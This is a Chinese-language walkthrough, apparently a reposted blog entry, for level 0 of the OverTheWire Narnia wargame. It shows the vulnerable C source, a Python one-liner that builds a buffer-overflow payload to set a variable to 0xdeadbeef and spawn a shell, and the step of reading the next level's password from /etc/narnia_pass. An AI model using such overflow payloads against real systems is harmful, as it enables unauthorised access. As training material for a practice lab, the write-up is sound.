码迷,mamicode.com
首页 > 其他好文 > 详细

Wargame narnia level 0 (中文攻略)

时间:2014-05-26 00:34:04      阅读:1073      评论:0      收藏:0      [点我收藏+]

标签:style   class   blog   c   code   java   

想写这个主要是因为我去谷歌搜到的攻略都是英文,看着有点吃力(菜B英语不好) , 然后就是分享交流技术。

比较有意思的一个闯关游戏(适合新手)

       网站是:http://overthewire.org/wargames/narnia/ 

游戏主要涉及基础的漏洞利用(环境是LINUX下的)

 

下面就开始吧, 

LINUX系统中 用SSH命令   登陆远程服务器

bubuko.com,布布扣

第0关的账号和密码都是narnia0

登陆后,需要我们利用的漏洞程序在 narnia这个文件夹里

bubuko.com,布布扣

服务器里把文件权限卡得很死,如果没有权限是不能执行一些操作的(比如看后面关卡的代码等)。

下面进入正题:

cat narnia0.c

bubuko.com,布布扣
#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val‘s value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef)
        system("/bin/sh");
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}
bubuko.com,布布扣

 

意思很明白,让我们改变val 的值, 让它变成0xdeadbeef  。

这个程序读入24个字节的字符串放到BUF里,  多余的4个字节就会覆盖VAL,   进而改变VAL的值。

 

用LINUX自带的 PYTHON 来构造字符串

python -c ‘print "a" * 20 + "\xef\xbe\xad\xde" ‘

bubuko.com,布布扣

 

再复制拿去输入

bubuko.com,布布扣

第一个\xde   没有了= =,   这是神马情况。。。。

后来查了下,要在后面加上一个二进制值才能成功( \x80 以上都可以 ,个人感觉是和前面的\xde 联合在一起形成一个双字节的UNICODE码,才使scanf能够读入 ) 

 

下面再来构造一个

bubuko.com,布布扣

拿去输入

bubuko.com,布布扣

OK,权限就变成narnia1了。

通关的密码在 /etc/narnia_pass

bubuko.com,布布扣

OK,搞定了……

Wargame narnia level 0 (中文攻略),布布扣,bubuko.com

Wargame narnia level 0 (中文攻略)

标签:style   class   blog   c   code   java   

原文地址:http://www.cnblogs.com/wu-yan/p/3750048.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!